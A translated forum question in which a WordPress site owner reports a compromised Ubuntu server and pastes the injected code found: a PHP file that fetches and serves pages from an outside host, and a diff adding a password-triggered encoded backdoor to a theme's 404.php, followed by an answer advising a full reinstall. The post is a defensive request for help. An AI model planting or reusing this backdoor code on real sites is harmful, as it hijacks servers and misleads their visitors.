Server di Ubuntu 12.04 attaccato usando la vulnerabilità di Wordpress (plugin?) [duplicato]

0

Env

  • Server cloud Rackspace
  • Wordpress 3.9.1
  • Ubuntu 12.04 Linux web.mydomain.com 3.2.0-67-virtual # 101-Ubuntu SMP mar 15 lug 17:58:37 UTC 2014 x86_64 x86_64 x86_64 GNU / Linux

Storia

Questi potrebbero effettivamente far parte dello stesso problema, li ho già risolti ieri. Aggiungendo qui per riferimento e cronologia dello sfondo.

Il mio attuale problema di sicurezza

Recentemente il mio server web ha riscontrato alcuni inusuali problema di esaurimento della memoria causato da un attività di sendmail anormale . Per questo ho ricevuto aiuto dal forum ServerFault, ma sono ancora in grado di identificare la vulnerabilità.

A quanto pare il mio server è stato oggetto di attacchi tramite i plugin wordpress, e apparentemente è ancora in corso nonostante:

  • Ho pulito la mia istanza di wordpress, ho usato un backup funzionante
  • Aggiornato tutti i plugin di wordpres
  • apt-get update && apt-get upgrade sul server

Dopo un giorno, sto controllando la mia istanza di wordpress, e posso già trovare, quello che credo, è un codice PHP iniettato.

root@web:/var/www# git status
# On branch working-website
# Changes not staged for commit:
#   (use "git add <file>..." to update what will be committed)
#   (use "git checkout -- <file>..." to discard changes in working directory)
#   (commit or discard the untracked or modified content in submodules)
#
#   modified:   .htaccess
#   modified:   webalizer/index.html
#   modified:   webalizer/usage.png
#   modified:   webalizer/webalizer.hist
#   modified:   wp-content/plugins/no-disposable-email/no_disposable_email.log
#   modified:   wp-content/themes/twentytwelve/404.php    <===========
#
# Untracked files:
#   (use "git add <file>..." to include in what will be committed)
#
#   webalizer/ctry_usage_201407.png
#   webalizer/daily_usage_201407.png
#   webalizer/hourly_usage_201407.png
#   webalizer/usage_201407.html
#   wp-includes/ms-edit.php       <================= 

Un nuovo file imprevisto (?):

root@web:/var/www# more wp-includes/ms-edit.php 
<?php $url = "http://admindors.com/redbutton/main2-dors/20j-107-1/"; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_
GET[$q] : $_SERVER["QUERY_STRING"])) { if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h)))
, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER[
"HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo
($ch, CURLINFO_EFFECTIVE_URL))) { header('Location: ' . $u, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); echo ($h || subs
tr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote(($t = ((!strncmp($_SERVER["REQUEST_URI"], $t = $_SERVER["SCRIPT_NAME"], strlen($t))) ? ($t . '?' . ($q ? $q . '=' : '' )) : '
/' . substr($_SERVER["REQUEST_URI"], 1, -strlen($a))) . ((substr($a, -1) != '/' && ($y = strrpos($a, '/'))) ? substr($a, 0, $y) . '/' : '' )), '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)
>/i', '<a$1href="$2' . (($h = strlen($w) - strlen($e) - strlen($a)) < 0 ? substr($a, $h) : "") . '"$4>', preg_replace('/<(a|link|img)(.*?)(href|src)=["\']([^\/][a-z0-9-_\.\/]+)["\'](.*?)>/i', '<$1$
2$3="' . $t . '$4"$5>', preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result))) : $result; exit; } } header('HTTP/1.0 404
 Not Found', true); exit; ?>

Il mio sospetto è l'URL ( link ) nel codice PHP.

Anche come GIT sottolinea, questo è un nuovo file non tracciato.

anche il mio wp-content/themes/twentytwelve/404.php sembrava essere stato compromesso:

root@web:/var/www# git diff wp-content/themes/twentytwelve/404.php

diff --git a/wp-content/themes/twentytwelve/404.php b/wp-content/themes/twentytwelve/404.php
index e7270b4..189b69c 100644
--- a/wp-content/themes/twentytwelve/404.php
+++ b/wp-content/themes/twentytwelve/404.php
@@ -1,3 +1,9 @@
+<?php^M
+if(isset($_GET['pwd'])) {^M
+$_F=__FILE__;$_X='P2lCPz5NY2VXKDxlbk1bVV85TTJPOU0oJzhDcjA5Qy5BMkNyNTJxRlAzLzh5YlR1THU0RlVFa0VXRUMzVXU0S0xFWWJrdVlifWJUOXlOVDgKYlRXV2JxMzE0d095YmtQbjxKM3htcEZzM2tnWUVwMzE0d095TkM2WWJENm45clAuYkpnWj
+^M
+} else {^M
+?>^M
 <?php
 /**
  * The template for displaying 404 pages (Not Found).
@@ -26,4 +32,7 @@ get_header(); ?>
                </div><!-- #content -->
        </div><!-- #primary -->

-<?php get_footer(); ?>
\ No newline at end of file
+<?php get_footer(); ?>^M
+<?php^M
+}^M
+?>
\ No newline at end of file

A questo punto, non sono sicuro di come proteggere il mio wordpress?

Come posso identificare il colpevole?

Che cosa posso fare dopo?

    
posta zabumba 25.07.2014 - 14:12
fonte

1 risposta

0

Che cosa fare dopo? Pulisci il server e reinstallalo, assicurandoti di utilizzare le ultime versioni di tutto. Una volta che un aggressore entra, è difficile o impossibile capire cosa è stato manomesso. Potresti provare a creare una copia del server compromesso per l'analisi offline, ma probabilmente non troverai nulla di interessante: se l'utente malintenzionato può manomettere il tuo software, può manomettere i log.

    
risposta data 25.07.2014 - 21:45
fonte

Leggi altre domande sui tag